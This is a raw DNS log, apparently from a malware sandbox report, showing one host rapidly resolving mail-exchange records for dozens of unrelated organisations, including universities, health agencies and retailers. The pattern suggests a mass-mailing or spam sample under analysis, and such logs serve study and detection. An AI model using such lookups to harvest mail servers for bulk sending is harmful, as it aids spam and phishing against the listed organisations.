Aug 24, 2023 19:04:34.229038954 CEST	8.8.8.8	192.168.2.8	0x8229	No error (0)	sods-sk-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.229038954 CEST	8.8.8.8	192.168.2.8	0x8229	No error (0)	sods-sk-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.236062050 CEST	8.8.8.8	192.168.2.8	0x44f7	No error (0)	nait-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.236062050 CEST	8.8.8.8	192.168.2.8	0x44f7	No error (0)	nait-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.380650043 CEST	8.8.8.8	192.168.2.8	0x225f	No error (0)	nshealth-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.380650043 CEST	8.8.8.8	192.168.2.8	0x225f	No error (0)	nshealth-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.436146021 CEST	8.8.8.8	192.168.2.8	0x7c20	No error (0)	stemfellowship.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.436146021 CEST	8.8.8.8	192.168.2.8	0x7c20	No error (0)	stemfellowship.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.436146021 CEST	8.8.8.8	192.168.2.8	0x7c20	No error (0)	stemfellowship.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.436146021 CEST	8.8.8.8	192.168.2.8	0x7c20	No error (0)	stemfellowship.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.436146021 CEST	8.8.8.8	192.168.2.8	0x7c20	No error (0)	stemfellowship.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.579305887 CEST	8.8.8.8	192.168.2.8	0xea77	No error (0)	touchgraphics.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.579305887 CEST	8.8.8.8	192.168.2.8	0xea77	No error (0)	touchgraphics.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.579305887 CEST	8.8.8.8	192.168.2.8	0xea77	No error (0)	touchgraphics.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.579305887 CEST	8.8.8.8	192.168.2.8	0xea77	No error (0)	touchgraphics.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.579305887 CEST	8.8.8.8	192.168.2.8	0xea77	No error (0)	touchgraphics.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.665510893 CEST	8.8.8.8	192.168.2.8	0xe680	No error (0)	exchange.hsc.mb.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.702485085 CEST	8.8.8.8	192.168.2.8	0xdadd	No error (0)	mx.ca.email.fireeyecloud.com		3.97.207.2	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.702485085 CEST	8.8.8.8	192.168.2.8	0xdadd	No error (0)	mx.ca.email.fireeyecloud.com		3.97.207.0	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.702485085 CEST	8.8.8.8	192.168.2.8	0xdadd	No error (0)	mx.ca.email.fireeyecloud.com		3.97.207.1	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.721338987 CEST	8.8.8.8	192.168.2.8	0x5bff	No error (0)	rsagroup.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.758258104 CEST	8.8.8.8	192.168.2.8	0xf957	No error (0)	rsagroup-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.758258104 CEST	8.8.8.8	192.168.2.8	0xf957	No error (0)	rsagroup-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.882174015 CEST	8.8.8.8	192.168.2.8	0x8315	No error (0)	mx-rogers.mail.am0.yahoodns.net		67.195.204.82	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.882174015 CEST	8.8.8.8	192.168.2.8	0x8315	No error (0)	mx-rogers.mail.am0.yahoodns.net		67.195.228.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.929456949 CEST	8.8.8.8	192.168.2.8	0xc7c0	No error (0)	mts.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.929456949 CEST	8.8.8.8	192.168.2.8	0xc7c0	No error (0)	mts.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.960052013 CEST	8.8.8.8	192.168.2.8	0xc461	No error (0)	nbed.nb.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.995763063 CEST	8.8.8.8	192.168.2.8	0x84bd	No error (0)	nbed-nb-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.995763063 CEST	8.8.8.8	192.168.2.8	0x84bd	No error (0)	nbed-nb-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.043076992 CEST	8.8.8.8	192.168.2.8	0x844e	No error (0)	cpaburr.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.043076992 CEST	8.8.8.8	192.168.2.8	0x844e	No error (0)	cpaburr.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.043076992 CEST	8.8.8.8	192.168.2.8	0x844e	No error (0)	cpaburr.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.043076992 CEST	8.8.8.8	192.168.2.8	0x844e	No error (0)	cpaburr.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.043076992 CEST	8.8.8.8	192.168.2.8	0x844e	No error (0)	cpaburr.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.097853899 CEST	8.8.8.8	192.168.2.8	0xcd2d	No error (0)	albertahealthservices.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.134605885 CEST	8.8.8.8	192.168.2.8	0x94e1	No error (0)	albertahealthservices-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.134605885 CEST	8.8.8.8	192.168.2.8	0x94e1	No error (0)	albertahealthservices-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.267661095 CEST	8.8.8.8	192.168.2.8	0xaf07	No error (0)	arts.ryerson.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.296792984 CEST	8.8.8.8	192.168.2.8	0x842f	No error (0)	nutreco.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.317348003 CEST	8.8.8.8	192.168.2.8	0x8e84	No error (0)	rscan.ryerson.ca		141.117.126.6	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.342156887 CEST	8.8.8.8	192.168.2.8	0x9fca	No error (0)	nutreco-ca.mail.protection.outlook.com		52.101.73.11	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.342156887 CEST	8.8.8.8	192.168.2.8	0x9fca	No error (0)	nutreco-ca.mail.protection.outlook.com		52.101.73.12	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.342156887 CEST	8.8.8.8	192.168.2.8	0x9fca	No error (0)	nutreco-ca.mail.protection.outlook.com		52.101.68.0	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.342156887 CEST	8.8.8.8	192.168.2.8	0x9fca	No error (0)	nutreco-ca.mail.protection.outlook.com		52.101.68.16	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.342156887 CEST	8.8.8.8	192.168.2.8	0x9fca	No error (0)	nutreco-ca.mail.protection.outlook.com		52.101.68.5	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.342156887 CEST	8.8.8.8	192.168.2.8	0x9fca	No error (0)	nutreco-ca.mail.protection.outlook.com		52.101.68.32	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.342156887 CEST	8.8.8.8	192.168.2.8	0x9fca	No error (0)	nutreco-ca.mail.protection.outlook.com		52.101.68.3	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.342156887 CEST	8.8.8.8	192.168.2.8	0x9fca	No error (0)	nutreco-ca.mail.protection.outlook.com		52.101.68.18	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.577522993 CEST	8.8.8.8	192.168.2.8	0x500c	No error (0)	schneider-electric.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.623181105 CEST	8.8.8.8	192.168.2.8	0x6c1f	No error (0)	schneiderelectric-com02c.mail.protection.outlook.com		104.47.11.202	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.623181105 CEST	8.8.8.8	192.168.2.8	0x6c1f	No error (0)	schneiderelectric-com02c.mail.protection.outlook.com		104.47.11.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.637465000 CEST	8.8.8.8	192.168.2.8	0xd8b7	No error (0)	alpinenorth.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.677345991 CEST	8.8.8.8	192.168.2.8	0x4db7	No error (0)	utoronto-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.677345991 CEST	8.8.8.8	192.168.2.8	0x4db7	No error (0)	utoronto-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.824695110 CEST	8.8.8.8	192.168.2.8	0x8416	No error (0)	bctonline.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.826787949 CEST	8.8.8.8	192.168.2.8	0xd73c	No error (0)	klick.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.826787949 CEST	8.8.8.8	192.168.2.8	0xd73c	No error (0)	klick.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.826787949 CEST	8.8.8.8	192.168.2.8	0xd73c	No error (0)	klick.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.826787949 CEST	8.8.8.8	192.168.2.8	0xd73c	No error (0)	klick.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.929141998 CEST	8.8.8.8	192.168.2.8	0xc8e6	No error (0)	mx.alpinenorth.ca.cust.a.hostedemail.com		216.40.42.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.973316908 CEST	8.8.8.8	192.168.2.8	0xf10e	No error (0)	bctonline-com.mx.av-mx.com		150.136.204.204	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.992755890 CEST	8.8.8.8	192.168.2.8	0x6dc6	No error (0)	snfhc.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.992755890 CEST	8.8.8.8	192.168.2.8	0x6dc6	No error (0)	snfhc.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.056077003 CEST	8.8.8.8	192.168.2.8	0x7d1	No error (0)	mxfr01.rms.alcatraz.fr		94.185.65.26	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.147568941 CEST	8.8.8.8	192.168.2.8	0xf595	No error (0)	champlaincollege.qc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.192331076 CEST	8.8.8.8	192.168.2.8	0x999a	No error (0)	champlaincollege-qc-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.192331076 CEST	8.8.8.8	192.168.2.8	0x999a	No error (0)	champlaincollege-qc-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.308037996 CEST	8.8.8.8	192.168.2.8	0x6e0a	No error (0)	uwo.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.355607033 CEST	8.8.8.8	192.168.2.8	0x506d	No error (0)	uwo-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.355607033 CEST	8.8.8.8	192.168.2.8	0x506d	No error (0)	uwo-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.467808962 CEST	8.8.8.8	192.168.2.8	0x51bd	No error (0)	productividadempresarial.com.co			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.467808962 CEST	8.8.8.8	192.168.2.8	0x51bd	No error (0)	productividadempresarial.com.co			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.526526928 CEST	8.8.8.8	192.168.2.8	0x34fc	No error (0)	speedycash.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.556188107 CEST	8.8.8.8	192.168.2.8	0x8010	No error (0)	inbound-smtp.us-east-1.amazonaws.com		54.164.173.191	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.556188107 CEST	8.8.8.8	192.168.2.8	0x8010	No error (0)	inbound-smtp.us-east-1.amazonaws.com		44.210.166.32	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.556188107 CEST	8.8.8.8	192.168.2.8	0x8010	No error (0)	inbound-smtp.us-east-1.amazonaws.com		44.206.9.87	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.556188107 CEST	8.8.8.8	192.168.2.8	0x8010	No error (0)	inbound-smtp.us-east-1.amazonaws.com		54.197.5.236	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.556188107 CEST	8.8.8.8	192.168.2.8	0x8010	No error (0)	inbound-smtp.us-east-1.amazonaws.com		3.211.210.226	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.570266008 CEST	8.8.8.8	192.168.2.8	0xfff8	No error (0)	securitas.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.607346058 CEST	8.8.8.8	192.168.2.8	0xdd78	No error (0)	securitas-ca.mail.protection.outlook.com		52.101.73.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.607346058 CEST	8.8.8.8	192.168.2.8	0xdd78	No error (0)	securitas-ca.mail.protection.outlook.com		52.101.68.3	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.607346058 CEST	8.8.8.8	192.168.2.8	0xdd78	No error (0)	securitas-ca.mail.protection.outlook.com		52.101.68.36	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.607346058 CEST	8.8.8.8	192.168.2.8	0xdd78	No error (0)	securitas-ca.mail.protection.outlook.com		52.101.68.32	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.607346058 CEST	8.8.8.8	192.168.2.8	0xdd78	No error (0)	securitas-ca.mail.protection.outlook.com		52.101.73.6	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.607346058 CEST	8.8.8.8	192.168.2.8	0xdd78	No error (0)	securitas-ca.mail.protection.outlook.com		52.101.68.21	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.607346058 CEST	8.8.8.8	192.168.2.8	0xdd78	No error (0)	securitas-ca.mail.protection.outlook.com		52.101.73.1	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.607346058 CEST	8.8.8.8	192.168.2.8	0xdd78	No error (0)	securitas-ca.mail.protection.outlook.com		52.101.68.0	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.756112099 CEST	8.8.8.8	192.168.2.8	0x422b	No error (0)	sportsrockland.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.756112099 CEST	8.8.8.8	192.168.2.8	0x422b	No error (0)	sportsrockland.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.756112099 CEST	8.8.8.8	192.168.2.8	0x422b	No error (0)	sportsrockland.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.816046000 CEST	8.8.8.8	192.168.2.8	0x9ced	No error (0)	aecl.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.852134943 CEST	8.8.8.8	192.168.2.8	0xd5c4	No error (0)	AECL-CA.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.852134943 CEST	8.8.8.8	192.168.2.8	0xd5c4	No error (0)	AECL-CA.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.889606953 CEST	8.8.8.8	192.168.2.8	0xabed	No error (0)	london.edu			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.889606953 CEST	8.8.8.8	192.168.2.8	0xabed	No error (0)	london.edu			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.994671106 CEST	8.8.8.8	192.168.2.8	0x897c	No error (0)	thewebadvisors.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.994671106 CEST	8.8.8.8	192.168.2.8	0x897c	No error (0)	thewebadvisors.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.994671106 CEST	8.8.8.8	192.168.2.8	0x897c	No error (0)	thewebadvisors.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.994671106 CEST	8.8.8.8	192.168.2.8	0x897c	No error (0)	thewebadvisors.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.994671106 CEST	8.8.8.8	192.168.2.8	0x897c	No error (0)	thewebadvisors.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.019124985 CEST	8.8.8.8	192.168.2.8	0xed04	No error (0)	sccoast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.038486958 CEST	8.8.8.8	192.168.2.8	0x5cd4	No error (0)	eu-smtp-inbound-1.mimecast.com		91.220.42.241	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.038486958 CEST	8.8.8.8	192.168.2.8	0x5cd4	No error (0)	eu-smtp-inbound-1.mimecast.com		91.220.42.211	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.038486958 CEST	8.8.8.8	192.168.2.8	0x5cd4	No error (0)	eu-smtp-inbound-1.mimecast.com		195.130.217.241	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.038486958 CEST	8.8.8.8	192.168.2.8	0x5cd4	No error (0)	eu-smtp-inbound-1.mimecast.com		195.130.217.211	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.038486958 CEST	8.8.8.8	192.168.2.8	0x5cd4	No error (0)	eu-smtp-inbound-1.mimecast.com		195.130.217.201	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.038486958 CEST	8.8.8.8	192.168.2.8	0x5cd4	No error (0)	eu-smtp-inbound-1.mimecast.com		91.220.42.201	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.068687916 CEST	8.8.8.8	192.168.2.8	0x3db5	No error (0)	olympiatile.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.068687916 CEST	8.8.8.8	192.168.2.8	0x3db5	No error (0)	olympiatile.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.068687916 CEST	8.8.8.8	192.168.2.8	0x3db5	No error (0)	olympiatile.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.068687916 CEST	8.8.8.8	192.168.2.8	0x3db5	No error (0)	olympiatile.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.068687916 CEST	8.8.8.8	192.168.2.8	0x3db5	No error (0)	olympiatile.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.167555094 CEST	8.8.8.8	192.168.2.8	0x6dcd	No error (0)	mx.sccoast.net		129.153.151.109	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.235622883 CEST	8.8.8.8	192.168.2.8	0x821f	No error (0)	blood.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.235622883 CEST	8.8.8.8	192.168.2.8	0x821f	No error (0)	blood.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.235622883 CEST	8.8.8.8	192.168.2.8	0x821f	No error (0)	blood.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.235622883 CEST	8.8.8.8	192.168.2.8	0x821f	No error (0)	blood.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.235622883 CEST	8.8.8.8	192.168.2.8	0x821f	No error (0)	blood.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.235622883 CEST	8.8.8.8	192.168.2.8	0x821f	No error (0)	blood.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.372234106 CEST	8.8.8.8	192.168.2.8	0xced7	No error (0)	eircom.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.372234106 CEST	8.8.8.8	192.168.2.8	0xced7	No error (0)	eircom.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.396636009 CEST	8.8.8.8	192.168.2.8	0xb762	No error (0)	eir-08.mx.a.cloudfilter.net		13.36.4.43	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.396636009 CEST	8.8.8.8	192.168.2.8	0xb762	No error (0)	eir-08.mx.a.cloudfilter.net		15.188.200.44	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.420170069 CEST	8.8.8.8	192.168.2.8	0x198d	No error (0)	mx2.blood.ca		204.50.190.141	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.492697954 CEST	8.8.8.8	192.168.2.8	0x9d96	No error (0)	interbaun.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.642247915 CEST	8.8.8.8	192.168.2.8	0x8b8	No error (0)	lausd.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.678529978 CEST	8.8.8.8	192.168.2.8	0xdc2a	No error (0)	lausd-net.mail.protection.outlook.com		52.101.11.9	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.678529978 CEST	8.8.8.8	192.168.2.8	0xdc2a	No error (0)	lausd-net.mail.protection.outlook.com		52.101.40.6	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.678529978 CEST	8.8.8.8	192.168.2.8	0xdc2a	No error (0)	lausd-net.mail.protection.outlook.com		52.101.42.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.678529978 CEST	8.8.8.8	192.168.2.8	0xdc2a	No error (0)	lausd-net.mail.protection.outlook.com		52.101.42.9	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.678529978 CEST	8.8.8.8	192.168.2.8	0xdc2a	No error (0)	lausd-net.mail.protection.outlook.com		52.101.42.6	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.678529978 CEST	8.8.8.8	192.168.2.8	0xdc2a	No error (0)	lausd-net.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.678529978 CEST	8.8.8.8	192.168.2.8	0xdc2a	No error (0)	lausd-net.mail.protection.outlook.com		52.101.42.13	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.678529978 CEST	8.8.8.8	192.168.2.8	0xdc2a	No error (0)	lausd-net.mail.protection.outlook.com		52.101.11.7	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.684484005 CEST	8.8.8.8	192.168.2.8	0x7a81	No error (0)	mx0.uniserve.com		216.113.192.36	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.775974035 CEST	8.8.8.8	192.168.2.8	0x1b1	No error (0)	verizon.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.877362013 CEST	8.8.8.8	192.168.2.8	0xc95d	No error (0)	homedepot.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.877362013 CEST	8.8.8.8	192.168.2.8	0xc95d	No error (0)	homedepot.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.877362013 CEST	8.8.8.8	192.168.2.8	0xc95d	No error (0)	homedepot.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.877362013 CEST	8.8.8.8	192.168.2.8	0xc95d	No error (0)	homedepot.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.954564095 CEST	8.8.8.8	192.168.2.8	0xd78	No error (0)	cherymotors.cl			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.975112915 CEST	8.8.8.8	192.168.2.8	0x3f5e	No error (0)	mail.h-email.net		5.161.194.135	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.975112915 CEST	8.8.8.8	192.168.2.8	0x3f5e	No error (0)	mail.h-email.net		5.161.98.212	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.975112915 CEST	8.8.8.8	192.168.2.8	0x3f5e	No error (0)	mail.h-email.net		178.62.199.248	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.975112915 CEST	8.8.8.8	192.168.2.8	0x3f5e	No error (0)	mail.h-email.net		49.13.4.90	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.975112915 CEST	8.8.8.8	192.168.2.8	0x3f5e	No error (0)	mail.h-email.net		5.75.171.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.975112915 CEST	8.8.8.8	192.168.2.8	0x3f5e	No error (0)	mail.h-email.net		162.55.164.116	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.975112915 CEST	8.8.8.8	192.168.2.8	0x3f5e	No error (0)	mail.h-email.net		165.227.159.144	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.975112915 CEST	8.8.8.8	192.168.2.8	0x3f5e	No error (0)	mail.h-email.net		167.235.143.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.975112915 CEST	8.8.8.8	192.168.2.8	0x3f5e	No error (0)	mail.h-email.net		165.227.156.49	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.975112915 CEST	8.8.8.8	192.168.2.8	0x3f5e	No error (0)	mail.h-email.net		91.107.214.206	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:38.055864096 CEST	8.8.8.8	192.168.2.8	0x34a9	No error (0)	mxb-000e6601.gslb.pphosted.com		148.163.153.207	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:38.074807882 CEST	8.8.8.8	192.168.2.8	0xdfc5	No error (0)	crisplinens.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.074807882 CEST	8.8.8.8	192.168.2.8	0xdfc5	No error (0)	crisplinens.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.074807882 CEST	8.8.8.8	192.168.2.8	0xdfc5	No error (0)	crisplinens.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.074807882 CEST	8.8.8.8	192.168.2.8	0xdfc5	No error (0)	crisplinens.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.074807882 CEST	8.8.8.8	192.168.2.8	0xdfc5	No error (0)	crisplinens.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.106993914 CEST	8.8.8.8	192.168.2.8	0xde36	No error (0)	mx-eu.mail.am0.yahoodns.net		188.125.72.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:38.106993914 CEST	8.8.8.8	192.168.2.8	0xde36	No error (0)	mx-eu.mail.am0.yahoodns.net		188.125.72.73	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:38.210500002 CEST	8.8.8.8	192.168.2.8	0xc76d	No error (0)	chp11-99.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.210500002 CEST	8.8.8.8	192.168.2.8	0xc76d	No error (0)	chp11-99.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.245022058 CEST	8.8.8.8	192.168.2.8	0x1619	No error (0)	chp11-99.org.1.0001.arsmtp.com		8.19.118.108	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:38.360774994 CEST	8.8.8.8	192.168.2.8	0x56a4	Name error (3)	quantofinancial.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.422610998 CEST	8.8.8.8	192.168.2.8	0x491e	No error (0)	email.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.422610998 CEST	8.8.8.8	192.168.2.8	0x491e	No error (0)	email.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.636851072 CEST	8.8.8.8	192.168.2.8	0x6585	No error (0)	dream.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.636851072 CEST	8.8.8.8	192.168.2.8	0x6585	No error (0)	dream.ca			MX (Mail exchange)	IN (0x0001)	false
